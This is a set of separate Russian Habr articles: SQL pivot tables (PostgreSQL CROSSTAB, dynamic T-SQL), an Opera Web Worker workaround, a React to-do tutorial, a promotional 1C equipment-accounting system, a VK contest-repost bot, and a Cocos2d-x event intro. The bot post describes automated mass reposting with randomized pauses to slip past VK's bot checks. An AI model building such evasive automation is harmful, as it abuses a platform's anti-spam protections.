В PostgreSQL доступна функция `CROSSTAB`, которая примерно эквивалентна `PIVOT` в SQL Server или Oracle. Для работы с ней необходимо расширение `tablefunc`:
```
create extension tablefunc; -- для PostgreSQL 9.1+
```
`CROSSTAB` принимает в качестве основного аргумента запрос как `text sql`. Он будет практически тем же, что и для `PIVOT`, но с *обязательным* использованием сортировки:
```
select coalesce(t.product, 'total_sum') as product,
coalesce(t.supplier, 'total_sum') as supplier,
sum(t.volume) as agg
from test_supply t
group by cube(t.supplier, t.product)
order by product, supplier;
```
В отличие от PIVOT, для «разворота» таблицы нам необходимо указывать не только названия столбцов, но и типы данных. Например, так: `"product" varchar, "A" bigint, "B" bigint, "C" bigint, "total_sum" bigint`.
Ещё один нюанс состоит в том, что `CROSSTAB` заполняет строки слева направо, игнорируя NULL-овые значения. Например, такой запрос:
```
select *
from crosstab
(
$$select coalesce(t.product, 'total_sum') as product,
coalesce(t.supplier, 'total_sum') as supplier,
sum(t.volume) as agg
from test_supply t
group by cube(t.supplier, t.product)
order by product, supplier $$
)
as cst("product" varchar, "A" bigint, "B" bigint, "C" bigint, "total_sum" bigint);
```
… вернёт совсем не то, что мы хотим:
Как можно заметить, там, где были NULL-овые значения, всё «съехало» влево. Например, в первой строке для *Product1* итог по строке оказался в столбце для поставщика *С*, а поставки *С* — в столбце поставщика *В* (для которого поставок не было). Корректно проставлены данные только для *Product3* т.к. для этого товара у всех поставщиков были значения. Иными словами, если бы у нас не было NULL-овых значений, запрос был бы корректным и вернул нужный результат.
Чтобы не сталкиваться с таким поведением `CROSSTAB` нужно использовать вариант функции с двумя параметрами. Второй параметр должен содержать запрос, *выводящий список всех столбцов в результате*. В нашем случае это все названия поставщиков из таблицы + «total\_sum» для итогов:
```
(select distinct tt.supplier as supplier
from test_supply tt
order by supplier)
union all
select 'total_sum'
```
… а полный запрос будет выглядеть так:
```
select * from crosstab
(
$$select coalesce(t.product, 'total_sum') as product,
coalesce(t.supplier, 'total_sum') as supplier,
sum(t.volume) as agg
from test_supply t
group by cube(t.supplier, t.product)
order by product, supplier $$,
$$ (select distinct tt.supplier as supplier
from test_supply tt
order by supplier )
union all
select 'total_sum' $$
)
as cst("product" varchar, "A" bigint, "B" bigint, "C" bigint, "total_sum" bigint);
```
### 5. Динамический SQL (на примере SQL Server)
Запрос с PIVOT или CROSSTAB уже функциональнее, чем изначальный с `CASE` (или CTE), но названия поставщиков все ещё необходимо вносить вручную. Но что делать, если поставщиков много? Или если их список регулярно обновляется? Хотелось бы выбирать их автоматически как как `select distinct supplier from test_supply` (или же из словаря, если он есть).
Здесь чистого SQL недостаточно. Он подразумевает статическую типизацию: для создания плана запроса СУБД нужно заранее указать число столбцов. Поэтому, например, синтаксис PIVOT не позволяет использовать подзапрос. Но это ограничение легко обойти с помощью динамического SQL! Для этого названия столбцов необходимо преобразовать в строку формата `"элемент_1", "элемент_2", …, "элемент_n"`, и использовать их в запросе.
Например, в SQL Server мы можем использовать STUFF для получения такой строки
```
declare @colnames as nvarchar(max);
select @colnames =
stuff((select distinct ', ' + '"' + t.supplier + '"'
from test_supply t
for xml path ('')
), 1, 1, ''
) + ', "total_sum"';
```
… а затем включить её в окончательный запрос:
```
-- T-SQL (!)
declare @colnames as nvarchar(max),
@query as nvarchar(max);
select @colnames =
stuff((select distinct ', ' + '"' + t.supplier + '"'
from test_supply t
for xml path ('')
), 1, 1, ''
) + ', "total_sum"';
set @query = 'select * from
(
select coalesce(t.supplier, ''total_sum'') as supplier,
coalesce(t.product, ''total_sum'') as product,
sum(t.volume) as agg
from test_supply t
group by cube(t.supplier, t.product)
) as t
pivot (sum(agg)
for supplier in (' + @colnames + ')
) as pvt';
execute(@query);
```
Динамический SQL вполне можно применить и к самому первому решению с `CASE`. Например, так:
```
-- T-SQL (!)
select distinct supplier into #colnames from test_supply;
declare @colname as nvarchar(max),
@query as nvarchar(max);
set @query = 'select coalesce(t.product, ''total_sum'') as product';
while exists (select * from #colnames)
begin
select top 1 @colname = supplier from #colnames;
delete from #colnames where supplier = @colname;
set @query = @query + ', sum(case when t.supplier = ''' + @colname + ''' then t.volume end) as ' + @colname
end;
set @query = @query + ' , sum(t.volume) as total_sum
from test_supply t
group by rollup(t.product)'
drop table #colnames;
execute(@query);
```
Здесь используется цикл для итерации по доступным поставщикам в таблице `test_supply` (можно заменить на словарь, если он есть), после чего формируется соответствующий кусок запроса:
```
sum(case when t.supplier = '<Поставщик 1>' then t.volume end) as <Поставщик 1>
, sum(case when t.supplier = '<Поставщик 2>' then t.volume end) as <Поставщик 2>
...
, sum(case when t.supplier = '<Поставщик n>' then t.volume end) as <Поставщик n>
```
Во многих СУБД доступно аналогичное решение. Тем не менее, мы уже слишком отдалились от чистого SQL. Любое использование динамического SQL подразумевает углубление в специфику конкретной СУБД (и соответствующего ей процедурного расширения SQL).
**Итого**: как мы выяснили, сводную таблицу можно легко создать средствами SQL. Более того, это можно множеством разных методов — достаточно лишь выбрать оптимальный для вашей СУБД. | https://habr.com/ru/post/506070/ | null | ru | null |
# Решение проблемы importScripts() в Opera
Доброго всем времени суток! Буквально сегодня при использовании Web Workers столкнулся с проблемой в функции importScripts(), которая заключается в том, что Opera(использую версию 11.61) по каким-то своим внутренним причинам при повторном создании объекта Worker отказывается исполнять внутри него функцию importScripts()(проблема возникает только в опере, остальные браузеры ведут себя адекватно).
Небольшой пример:
```
var str = "http://" + document.domain + "/classes/js/workers/worker.js";
var worker = new Worker(str);
worker.onerror = function(e)
{
alert([
'ERROR: Line ', e.lineno, ' in ', e.filename, ': ', e.message].join(''));
}
worker.onmessage = function (obj)
{
alert(obj['data']);
}
worker.postMessage();
```
код воркера(предположим, что в some.js у нас есть глобальная переменная test):
```
onmessage = function ()
{
importScripts("/classes/js/some.js");
postMessage(test);
}
```
Приведенный выше код при первом вызове добросовестно выведет нам содержимое переменной test, но вот повторный вызов вместо ожидаемого значения выведет ошибку о том, что переменная test не определена. По каким именно причинам повторно не выполняется importScripts про то неведомо. Поборовшись несколько часов, нашел решение. Все просто, раз уж опера не хочет повторно импортировать скрипты во вновь созданном объекте, то новый объект создавать и не будем, создадим всего один и сделаем его глобальным и в дальнейшем будем все слать через него. Предыдущий код можно модернизировать следующим образом:
```
if(!('worker' in window))
{
var str = "http://" + document.domain + "/classes/js/workers/worker.js";
worker = new Worker(str);
worker.onerror = function(e)
{
alert([
'ERROR: Line ', e.lineno, ' in ', e.filename, ': ', e.message].join(''));
}
}
worker.onmessage = function (obj)
{
alert(obj['data']);
}
worker.postMessage();
```
при этом обработчик onmessage не стоит помещать внутрь условия, так как если внутри него будут использоваться переменные приходящие в функцию, то будет создано замыкание на переменные первого вызова, а последующие будут игнорироваться.
Надеюсь, что баг с importScripts скоро пофиксят, все-таки технология еще свежа и порой ощущаешь себя бэта-тестером, а не пользователем…
P.S надеюсь, заметка будет кому-то полезна | https://habr.com/ru/post/138847/ | null | ru | null |
# Начинающим React-разработчикам: приложение со списком дел (покупок)
> **Будущих студентов курса** [**"React.js Developer"**](https://otus.pw/TOoG/) **приглашаем записаться на бесплатный демо-урок по теме** [**"Пишем приложение на React+Redux".**](https://otus.pw/mRDz/) **А также подготовили для вас перевод полезного материала.**
>
>
---
Если вы только начали изучать React, для отработки основных концепций этого фреймворка можно создать простое приложение. Первое, что приходит в голову, — это приложение для составления списка дел или покупок. С него и начнем. Основные концепции React изложены в [официальной документации на сайте](https://reactjs.org/), а в предыдущих записях моего блога можно найти ссылки на другие руководства по работе с React.
Запустите VS Code или любой другой редактор кода. Для создания React-приложения наберите в терминале команду:
```
npx create-react-app grocerylist
```
Затем смените директорию:
```
cd grocerylist
```
Запустите сервер:
```
npm start
```
Откройте в браузере адрес <http://localhost:3000/>, и вы увидите следующее окно:
Давайте посмотрим, какие элементы интерфейса нам нужно создать, и приступим к разработке.
1. Сначала создадим поле для ввода пункта в список.
2. Затем — кнопку для сохранения пункта.
3. Наконец, создадим список для отображения пунктов с возможностью удалять пункты и помечать их как выполненные.
Для разработки такого приложения нужно изучить работу с хуками, способы создания базовых форм, работу с массивами, объектами, стрелочными функциями, оператором расширения массива и пропсами.
Поработаем с кодом в файле App.js. Мы будем использовать функциональные компоненты и хук `useState()` для определения состояния.
Создадим форму:
```
ADD
```
Вот как будет выглядеть весь наш код после создания формы:
```
import React, { useState } from "react";
import "./App.css"
import { v4 as uuidv4 } from "uuid";
function App() {
const [item, setItem] = useState("");
const [list, setList] = useState([]);
const handleSubmit = (e) => {
const newItem = {
id: uuidv4(),
item: item,
complete: false,
};
e.preventDefault();
if (item) {
setList([...list, newItem]);
setItem("");
}
};
const handleChange = (e) => {
setItem(e.target.value);
};
return (
Grocery List
============
ADD
);
}
export default App;
```
Объясним вышенаписанный код. Мы создали переменную состояния `item`, в которой хранится значение элемента списка, введенного пользователем. Затем мы создали еще одну переменную состояния `list`, в которой хранится коллекция элементов списка в виде массива.
Мы создали стрелочную функцию `handleChange` для изменения состояния `item` каждый раз, когда пользователь вводит новое значение в форму. Мы изменяем состояние с помощью `setItem` и назначаем его в качестве целевого значения. Мы создали еще одну функцию `handleSubmit` для обновления массива элементов списка каждый раз, когда пользователь вводит новый пункт. У каждого пункта есть следующие свойства: уникальный id, который генерируется как [UUID](https://www.npmjs.com/package/uuid), `item` и `complete`. Свойство `complete` является логическим состоянием: если ему присвоено значение `true`, пункт в списке помечается как выполненный, а значение `false` присваивается невыполненным пунктам.
Теперь создадим новый компонент `Item.js`. Для этого напишем такой код:
```
import React from "react";
import "./Item.css";
const Item = ({ id, items, list, setList, complete }) => {
const remove = (id) => {
setList(list.filter((el) => el.id !== id));
};
const handleComplete = (id) => {
setList(
list.map((item) => {
if (item.id === id) {
return {
...item,
complete: !item.complete,
};
}
return item;
})
);
};
return (
{items}
![]() handleComplete(id)}
src="https://img.icons8.com/offices/40/000000/checked-2--v2.png"
alt="complete task"
/>
![]() remove(id)}
src="https://img.icons8.com/color/48/000000/trash.png"
alt="Delete"
/>
);
};
export default Item;
```
Чтобы удалять пункты, мы будем отфильтровывать пункт, который надо удалить, сравнивая пункты по их id. После удаления пункта остальные пункты продолжат отображаться. Чтобы помечать пункты как выполненные, мы будем перебирать все элементы массива в переменной `list`, сравнивать их по id и менять значение состояния `complete` для соответствующего элемента. Оформите приложение по своему вкусу. Можно воспользоваться стилизованными React-компонентами, которые доступны [тут](https://styled-components.com/docs/basics).
Вот как будет выглядеть наше приложение:
[Демоверсия приложения](https://practical-torvalds-382e45.netlify.app/). [Репозиторий на GitHub.](https://github.com/kritika27/grocery-list-reactjs)
Что еще можно сделать:
1. Добавить локальное хранилище.
2. Добавить серверную часть на основе Firebase.
3. Добавить функции регистрации и входа.
Предложения приветствуются.
---
> [**Узнать подробнее о курсе**](https://otus.pw/TOoG/) **"React.js Developer".**[**Записаться на открытый урок**](https://otus.pw/mRDz/) **"Пишем приложение на React+Redux".**
>
> | https://habr.com/ru/post/531656/ | null | ru | null |
# Сапожник без сапог, или учет оборудования в ИТ-отделе. Часть I
 В народе есть замечательная крылатая фраза «Сапожник без сапог». Она в полной мере описывает ситуацию, в которой оказываются ИТ-отделы организаций и обслуживающие компании. Люди, которые помогают другим пользователям решать проблемы с техникой, исправлять ошибки в программах, восстанавливать работоспособность программ и оборудования, пытаются навести порядок и привить культуру работы с оборудованием и программным обеспечением, сами не могут навести порядок у себя! О чем пойдет речь? О наболевшем… Учет оборудования и все, что с этим связано. Думаю Вам будет интересно услышать о том, как мы сделали систему учета предназначенную для ИТ-отделов, все таки хабр одно из крупнейших в России IT-сообществ.
Все начиналось в далеком 2009 году. Я занял должность старшего программиста и вместе с начальником отдела, мы начали думать как сделать нашу жизнь лучше. Штат содержал около 10 эникейщиков, 5 программистов и 2 системных администратора, а так же начальника отдела и старшего программиста — Вашего покорного слугу.
Учет оборудования, хотим мы того или нет, является неотделимой частью работы любого ИТ-шника, который связан с железом. Понятное дело, что когда у Вас три компьютера об этом не стоит не то, что говорить, а даже думать, ведь все и так понятно чего и сколько :) Но вот беда, если компьютерный парк начинает расти, а вместе с ним растет и количество ИТ-шников, то в голове удержать информацию становится не реально, да и можешь элементарно не знать о чем то, если это было сделано не тобой. Приведу примеры:
**Случай 1. Бухгалтер обращается к начальнику ИТ-отдела.**
Бухгалтер. Скажи, пожалуйста, у меня не печатает принтер, не мог бы сказать своим ребятам, что бы они пришли и поменяли картридж?
Начальник ИТ. Сейчас. Повесите на трубке. (голос за кадром: Вова, у нас есть картриджи? ответ за кадром: Не, нету. Закончились… )
Начальник ИТ. Эээ. Марь Ивановна, понимаете, у нас закончились картриджи…
Бухгалтер. А почему не купили раньше, чтобы запас был? Мне первичку печатать надо, клиенты ждут!
Начальник ИТ. Ну…
…
**Случай 2. Начальник ИТ-отдела обращается к администратору компьютерных сетей.**
Начальник ИТ. Коль, ты забрал у поставщика доп. память, которую обещали поставить зам. директору?
Админ. Нет. Мы ее еще не оплатили…
Начальник ИТ. Как? Я неделю назад ему обещал, что сегодня поставим… Почему не оплатили?
Админ. Эээ. Ну… Я забыл… Работы много, всего не запомнишь…
Начальник ИТ. Хочешь, я тебя с собой сегодня возьму к зам. директору, ты ему об этом расскажешь?
…
**Случай 3. Системный администратор обращается к технику компьютерных сетей.**
Сисадмин. Слушай, а куда делся системный блок, который с двумя винтами в рэйде? Раньше он стоял у Ивановой.
Техник. Так она уволилась…
Сисадмин. А комп куда делся?
Техник. Я не знаю… Наверное поставили кому-нибудь.
Сисадмин. ?!
…
Знакомы ситуации? Все верно, мы тоже с этим столкнулись. Не мы первые, и я думаю, не мы последние. Все эти случаи, как правило, постоянно портят репутацию ИТ-шникам и не потому, что нам так хочется. Так получается. Мы должны по мановению палочки прилететь и «сделать так, чтобы все работало».
Мы с начальником решили приступить к разработки своей системы, которую можно было бы применять в наших условиях. Организация большая, хотелось видеть решение наших задач, некоторые из которых были достаточно специфическими и не укладывались в рамки существующего программного обеспечения подобной направленности.
В качестве платформы разработки мы выбрали 1С: Предприятие. Стоп, стоп… Предвижу, что после этих слов, начнутся выкрики «православных», по поводу 1С :) Для многих программистов при упоминании 1С: Предприятие, сразу всплывает в памяти самый противный бухгалтер в организации, который всегда чем то не доволен. Попытаюсь объяснить, почему именно 1С.
* 1С — это не только бухгалтерия, это прежде всего платформа, которая предназначена для реализации учетно-аналитических задач
* Конфигурации 1С легко модифицируются и позволяют внести изменения в соответствии с Вашими требованиями и пожеланиями. Условно говоря, мне нужна вот такая вот печатная форма, которую подписывает сотрудник после передачи ему оборудования. Как ее получить? Здесь это все решается очень просто. Если Вы знакомы с 1С, то быстро разберетесь, если нет, примеров куча, найдете решение.
* Дополнительный функционал, не предоставляемый 1С, легко реализуется с помощью внешних компонент, которые могут быть написаны на С++ или Delphi. В частности, мы делали вставку скриншотов в 1С в подсистеме Service Desk
* Последние веяния в 1С таковы, что сама система активно развивается в сторону WEB. Т.е. конфигурация может работать через WEB-браузер. Согласитесь, это очень удобно.
* Скорость разработки на порядок выше, чем с использованием других средств разработки ПО. Простыми словами, 1С является «прослойкой» между базой данных и пользователем, которая управляет всем с помощью метаданных и своего встроенного языка.
Можно продолжить, но при выборе мы исходили именно из всего вышеперечисленного.
#### Реализация проекта
Итак, система выбрана. Началась разработка. Первым делом, мы решили закрыть дыру под названием «Учет на складе». Т.к. очень часто страдали из-за этого «узкого места».
Прежде всего была проработана техническая часть. Определились в том, как это хотим видеть и выработали методику работы подсистемы складского контура.
Хотелось сделать «идеальную» программу. Чтобы было все просто, но одновременно очень функционально и очень удобно. Ведь нами предполагалось использовать ее в работе.
Для страждущих скриншот конфигурации:
О том, как мы это реализовали контур складского учета я и расскажу в данной статье.
Начнем с главного и основополагающего для склада (места хранения). В нашей конфигурации оборудование «привязывается» к месту хранения, а за этим местом хранения закреплен сотрудник. Т.е. в конфигурации реализована связь:
```
Оборудование <-> Место хранения <-> Сотрудник.
```
Есть две схемы именования придуманные нами в контексте нашего решения и наиболее оптимальные с точки зрения простоты и удобства.
1) Обезличенная.
Создаем место хранения buch1 в организационной структуре мест хранения. Для создания структуры можно перетащить место хранения в другое место хранения и оно станет подчиненным. Это удобно если хочется раскидать всех по кабинетам, этажам и т.д.
Т.е. в дереве складов будет что то типа.
```
Организация, ООО
--Бухгалтерия
----buch1
----buch2
```
При увольнении сотрудника просто меняем ответственного и все. Ничего не перемещаем структура мест хранения не меняется.
2) По сотрудникам.
Т.е. структура будет, примерно такая:
```
Организация, ООО
--Бухгалтерия
----Иванов Иван Иванович (buch1)
----Петров Петр Петрович (buch2)
```
Эта схема удобна тем, что можно не привязывать сотрудников. Из наименования места хранения и так понятно у кого находится оборудование.
Какую схему выберите Вы, это уже Ваш выбор.
Так же поддерживается иерархия мест хранения. Т.е. одно место хранения может содержать несколько других, например:
```
Склад ИТ-отдела
--Полка 1
----Ячейка 1.1
----Ячейка 1.2
--Полка 2
```
**Вот как это выглядит:**
Так же пришлось решить следующую задачу…
Все мы прекрасно знаем, что компьютерная техника состоит из разных составляющих — комплектующих. Комплекты — это объекты, которые состоят из комплектующих, причем комплекты могут быть как виртуальными (рабочее место, системный блок и т.д.), так и вполне конкретными (серверный шкаф, принтер и т.д.).
Рассмотрим и приведем примеры, как это реализовано в конфигурации.
В нашем решении есть два понятия: номенклатура и карточка номенклатуры. Вы можете спросить: зачем два справочника, если комплектующая у нас одна? Резонный вопрос.
Дело в том, что зачастую мы хотим увидеть где была та или иная номенклатура, где она стояла, ремонтировалась ли, имеет ли инвентарный номер и т.д. Но так же, у нас много однотипной информации: одинаковые принтеры, мониторы, системные блоки, материнские платы. Если все это вести отдельно, в одном справочнике, то через некоторое время мы получим в номенклатуре кашу из одинаковых названий и невозможно будет нормально сориентироваться в этом. Этот этап нами пройден в далеком 2009 году… Тогда мы придумали концепцию, которая актуальна по сегодняшний день.
Было разделено все на 2 справочника: номенклатура и карточки номенклатуры. В номенклатуре содержится модель комплектующей, а в карточке, сама комплектующая с инвентарными номерами, историей и т.д.
Чтобы было понятно приведу пример:
Номенклатура: ВАЗ 2107
Карточка номенклатуры ВАЗ 2107 А123АА 99 RUS
При этом в документах выбирая номенклатуру (определенную модель комплектующей или комплекта), мы выбираем карточку, но выбираем не из всего списка карточек, а с отбором по данной номенклатуре:
**Пример карточки номенклатуры**
Все достаточно просто и не запутано.
Как уже было сказано выше: комплекты — это объекты, которые состоят из комплектующих. В конфигурации с ними работать так же просто. На рисунке, который указан выше комплектом является «Компьютер №256» в нем, содержатся другие комплектующие. Для того, чтобы внести комплектующую в комплект, необходимо мышкой перетащить комплектующую в комплект.
Так же в конфигурации есть возможность не вести учет по карточкам. Это актуально для некоторого вида спец комплектующих и расходных материалов. Например: сетевой кабель, мышки, клавиатуры и т.д. Информация о том где была та или иная мышка, нам зачастую не нужна.
**Номенклатура и карточка номенклатуры**Так выглядит номенклатура. Для удобства добавлены многие ключевые возможности. Впрочем, лучше увидеть все собственными глазами:
А так выглядит карточка номенклатуры.
Для программного обеспечения и лицензий форма немного другая:
В конфигурации есть возможность контролировать лицензии и ПО по сроку окончания.
В качестве документов, оприходования товаров, мы реализовали:
```
Заказ поставщику <-> Поступление
```
Поступление может быть введено как на основании заказа поставщику, так и без него. При этом работает связь, что заказано и что пришло. Т.е. в любой момент можно сказать, что заказали у поставщика, что пришло на склад и чего еще нет. Позволяет контролировать заказы.
**Заказ поставщику и Поступление**Заказ поставщику. Предназначен для фиксирования намерений приобрести оборудование.
Поступление фиксирует фактический приход оборудования к нам.
А вот сравнение того, что пришло с тем, что было заказано.
При этом в поступлении, как видно из рисунка в спойлере выше, данные по оборудованию фиксируются в наиболее понятном виде. В виде дерева, что во что входит.
Идем дальше… Какая операция следующая по важности? Верно, перемещение с одного места хранения на другое.
Я много думал, как это лучше реализовать, ведь часто бывает, особенно в холдингах проблема с внутренними перемещениями. Что я имею ввиду? Допустим, есть две фирмы, которые входят в холдинг, и Вы работаете ИТ-шником и там и там. Тут вдруг картридж в принтере в одной фирме заканчивается и надо срочно чем то заменить, но в данный момент картриджей в этой фирме нет, есть на остатках в другой фирме. С точки зрения бух учета нельзя из одной фирмы передать картридж в другую, но часто в управленческом учете это правило нарушают. Для этих целей документ «Перемещение» мы немного видоизменили. Авось пригодится и не прогадали.
**Перемещение**
Как видим есть организация прихода и организация расхода. Повторюсь, с точки зрения бухгалтерского учета — это не верно! Но в реальной жизни бывает все…
Ну и куда же без «Списания»? Этот документ позволит списать с остатков оборудование, которое не пригодно для дальнейшего использования.
**Списание**
Собственно, а для чего нам все это вести? Ответ очевиден: мы хотим в любой момент увидеть, что же все таки у нас есть в остатке и оперативно на это отреагировать. Собственно, из-за этого, мы и затеваем весь учет. Сведения об остатках нам предоставит отчет:
**Остатки на складах/рабочих местах**
В отчете можно выбрать вариант, который позволит увидеть не только остатки, но и сформировать ведомость по оборудованию за период и просмотреть, что было на начало периода, что пришло, что переместили или списали, и что на конец периода осталось. Так же отчет содержит множество отборов, которые позволят отфильтровать результаты в отчете. Допустим, выбрать только по месту хранения, или только по сотруднику.
Понятно, что такой отчет не один, есть еще, приведем только его.
Не могу не остановиться еще на одном важном моменте, который должен быть обязательно в любой подобной системе — это сборка (комплектация), разбиение комплектации. Т.е. сборка и разборка комплектов.
**Сборка (комплектация)**
Разбиение аналогично. Только позволяет разбить комплект, на комплектующие.
Так же как и любой другой склад, время от времени необходимо проводить ревизии, или инвентаризацию. Это так же мы предусмотрели. Конфигурация позволяет провести «срез» оборудования на заданную дату и сравнить фактические и учетные остатки оборудования.
**Инвентаризация**
#### Заключение
Понятное дело, это не все, что я могу рассказать. В рамках данной статьи, я постарался выбрать основные документы и справочники конфигурации, подсистемы «Складской учет». За кадром осталось многое интересное и полезное для ИТ-шников, например:
* Объединение комплектующих в один комплект
* Импорт данных из Everest (AIDA 64) и WMI
* Использование дополнительных свойств объектов
* Прикрепление файлов к объектам
* Учет лицензий и программного обеспечения
* Работа с штрих-кодами и печать этикеток для комплектов и комплектующих
* Закрепление сотрудников за местами хранения
* Ведение списка логинов и паролей пользователей для программного обеспечения
* ...
Подведем итоги. Получилась программа, позволяющая сильно упростить жизнь ИТ-отделу и обслуживающим организациям. Проверено на себе и на сотнях благодарных клиентов, которые у нас появились с 2009 года.
Вот в общем то и все. Постарался раскрыть все возможности конфигурации в части складского контура. Заинтересовали подробности? Добро пожаловать на наш [сайт](http://softonit.ru/component/jshopping/product/view/1/1.html).
PS: Если публикация Вам понравится, я продолжу описание и расскажу о других подсистемах, которые реализованы нами: Service Desk, База знаний, Ремонты, Бюджеты, Денежные средства и т.д. | https://habr.com/ru/post/178013/ | null | ru | null |
# Как выигрывать в конкурсах репостов Вконтакте?
Мне захотелось узнать, реально ли выиграть в конкурсах репостов ВКонтакте.
Как это сделать? Ответ очевиден — надо участвовать во всех конкурсах и по теории вероятностей, чем больше конкурсов, тем больше шанс выиграть хоть что-то.
Идея простая, берем модуль [vk\_api](https://github.com/python273/vk_api) для Python и [официальную документацию Vkontakte API](https://vk.com/dev/methods) отправляем запрос:
```
pool.method('newsfeed.search', {'q':u'Конкурс репост подарки <мой_город>'})
```
и репостим через [wall.repost](https://vk.com/dev/wall.repost) все что нашли себе на страницу и вступаем в группы методом [groups.join](https://vk.com/dev/groups.join)
Что из этого получилось, с какими проблемами я столкнулся, читаем под катом
1) А не бот ли Вы? — говорим что нет и добавляем большую паузу между репостами
```
time.sleep(120.0+random.random()*200.0)
```
Первую неделю, раз в несколько дней все же пришлось вручную доказывать что не робот, потом проверки прекратились.
2) Спамеры часто используют слова «конкурс», «репост» и «подарки» для своих черных дел, пришлось завести черный список запрещенных частей слов:
**Скрытый текст**`порно
знакомств
sex
казино
вечеринк
кастинг`
3) В первый же день выяснилось, что максимальное ограничение ВК по количеству записей на стене — 150 штук.
Пришлось расширить фильтр частями тех слов, которые мне были не очень интересны, но активно появлялись в поиске:
**Скрытый текст**`дрипк
vape
испаритель
предтрен
тотализатор
маникюр
массаж
наращивание
ламинирование
шугаринг
кружева
лосины
леггинсы
фотос
живая роза
инвалид
благотворительн
равнодушным
проведение праздника
не проводит конкурсов
20 рублей
Аллах
Иисус`
4) Многие конкурсы просили закрепить репост на странице, иначе призы они не отдадут. Не отдадут, ну и ладно, расширил фильтр для всех результатов, где от нас требуют дополнительные действия:
**Скрытый текст**`закреп
написать
оставить
напишите
оставьте
добавить фото
зарегистрироваться
за счет победителя
на стене не ниже`
5) Результаты конкурсов также выдавались в поиске, поэтому их тоже исключил:
**Скрытый текст**`поздравляем
у нас победител
ура! победител
наш победитель!
итоги подвели
победители определены
подводим итог
победителя выбрали
победителя определили
заканчиваются розыгрыши
завершаются три
завершаются два
часов до завершения конкурс`
6) После того как фильтр значительно вырос, количество репостов значительно уменьшилось, пришлось добавить еще запрос для поиска «Конкурс репост подарки Россия», но и этого хватило не надолго.
Тогда я добавил список из сотни «золотых» групп, которые несколько раз в неделю добавляют конкурсы репостов. Их можно легко найти по наличию слов «репост» или «бесплатный» в названии групп.
И стал репостить каждый час все их посты, содержащие хотя бы одно слово из белого списка:
**Скрытый текст**`лайк
репост
поделится
поделиться`
Вроде бы все работало — на страницу добавлялись только конкурсы (за редкими исключениями), бот вступал во все упомянутые группы, а выигрышей все не было и не было…
Ну конечно! Конкурсы новые, надо только подождать… страница между тем быстро превращалась в помойку…
На второй неделе я уже отчаялся, но решил оставить скрипт еще пожить в кронтабе, «хлеба не просит».
**Пример куска лога**`Уже репостили -127246566,287
Уже репостили -58632226,1488768
Уже репостили -111588713,4372
Парсим группу: -141753712
"[club141753712|iPhone 7]\n [club141753712|Гироскутер] \n [club141753712|Фотоаппарат мгновенной печати]\n [club141753712|Аппарат для сахарной в3712|Плюшевый медведь]\n [club141753712|Рюкзак Smile Emoji]\n [club141753712|Футболка лучших подруг]\n [club141753712|Подушка смайлик ]\n \nПодпизов! "
Нет слова Репостим
"MP-3 плеер мы подарим случайному подписчику [club126861895|нашего паблика], сделавшему репост этой записи. \n \nСчастливчика определим 9 июля."
Репостим:
"MP-3 плеер мы подарим случайному подписчику [club126861895|нашего паблика], сделавшему репост этой записи. \n \nСчастливчика определим 9 июля."
owner_id -126861895 post_id 22900
""
Нет слова Репостим
" [club93442726|Магазин |☆ MODA MIX ☆| Men's] подарит 500 рублей случайному подписчику! \n \n Для участия в розыгрыше Вам нужно: \n Быть подписчclub93442726|Магазин |☆ MODA MIX ☆| Men's] \n Cделать репост этой записи и не убирать до розыгрыша \n \n Победителя узнаем 22 июня"
Уже репостили -136794404,4622
""
Нет слова Репостим
" [club56438119|Дорожные Ангелы. Помощь при ДТП. 44-00-06] подарит 500 рублей случайному подписчику! \n \n Для участия в розыгрыше Вам нужно: \nом группы [club56438119|Дорожные Ангелы. Помощь при ДТП. 44-00-06] \nCделать репост этой записи и не убирать до розыгрыша \n \n Победителя узнаем
Уже репостили -136794404,4625
""
Нет слова Репостим
"Спиннер мы подарим случайному подписчику [club126861895|нашего паблика], сделавшему репост этой записи. \n \nСчастливчика определим 9 июля."
Уже репостили -126861895,22886
"Ланч бокс мы подарим случайному подписчику [club126861895|нашего паблика], сделавшему репост этой записи. \n \nСчастливчика определим 26 июня."`
Первый выигрыш я получил через 3 недели! Это был сертификат на увеличение губ, т.к. ни мне, ни знакомым это было не нужно, пришлось отказаться и добавить «увеличение» в черный список. Через неделю еще приз — билеты в кино, но в другой город, опять попросил переиграть.
Скрипт стал приносить по 1-4 выигрыша в неделю. Выигранные абонементы, билеты, курсы и услуги в других городах сразу же просил «переиграть», вещевые призы (одежду, игрушки, безделушки, косметику и т.д.) организаторы отправляли Почтой России, через пару месяцев работники почты уже знали меня в лицо и отдавали посылки, не проверяя паспорта.
На данный момент, за срок чуть более трех месяцев, скрипт сделал более 15000 репостов конкурсов. Выяснилось, Вконтакте имеет ограничение на количество групп — 5000, пришлось добавить выход из групп со старыми конкурсами. Почти каждый день мне пишут мошенники о выигранных айфонах, для получения которых нужно только оплатить доставку и спамеры, так как состою в тысячах групп различных тематик.
Как вывод могу сказать, что да, выигрывать в конкурсах репостов абсолютно реально, большинство призов — дешевые китайские сувениры | https://habr.com/ru/post/331312/ | null | ru | null |
# Cocos2d-x — Диспетчер событий
От переводчика
--------------
Доброго времени суток! Эта статья представляет собой перевод [документации](http://www.cocos2d-x.org/docs/programmers-guide/event_dispatch/index.html) к движку Cocos2d-x.
В предыдущих частях мы уже рассмотрели большинство основных компонентов движка:
[Sprite](https://habrahabr.ru/post/339690/)
[Action](https://habrahabr.ru/post/339794/)
[UI Components](https://habrahabr.ru/post/340354/)
[Scene](https://habrahabr.ru/post/340110/) и другие
Нам осталось совсем немного для создания полноценной игры. А именно, обеспечить сам игровой процесс. Для этого, в Cocos2d-x существует **диспетчер событий**.
Диспетчер событий
-----------------
Что такое механизм **EventDispatch**? **EventDispatch** — это механизм реагирования на пользовательские события.
**Основы**:
* Слушатели событий инкапсулируют ваш код обработки событий.
* Диспетчер событий уведомляет слушателей о пользовательских событиях.
* Объекты событий содержат информацию о событии.
5 типов слушателей событий
--------------------------
*EventListenerTouch* — реагирует на касание сенсорного экрана
*EventListenerKeyboard* — реагирует на нажатия клавиатуры
*EventListenerAcceleration* — реагирует на события акселерометра
*EventListenMouse* — реагирует на события мышки
*EventListenerCustom* — реагирует на настраиваемые события
FixedPriority vs SceneGraphPriority
-----------------------------------
**EventDispatcher** использует приоритеты, чтобы решать, какие слушатели получат событие первыми.
**Fixed Priority**(фиксированный приоритет) представляет целочисленное значение. Слушатели событий с более низким значение приоритета получают события на обработку, раньше, чем слушатели с высоким значением приоритета.
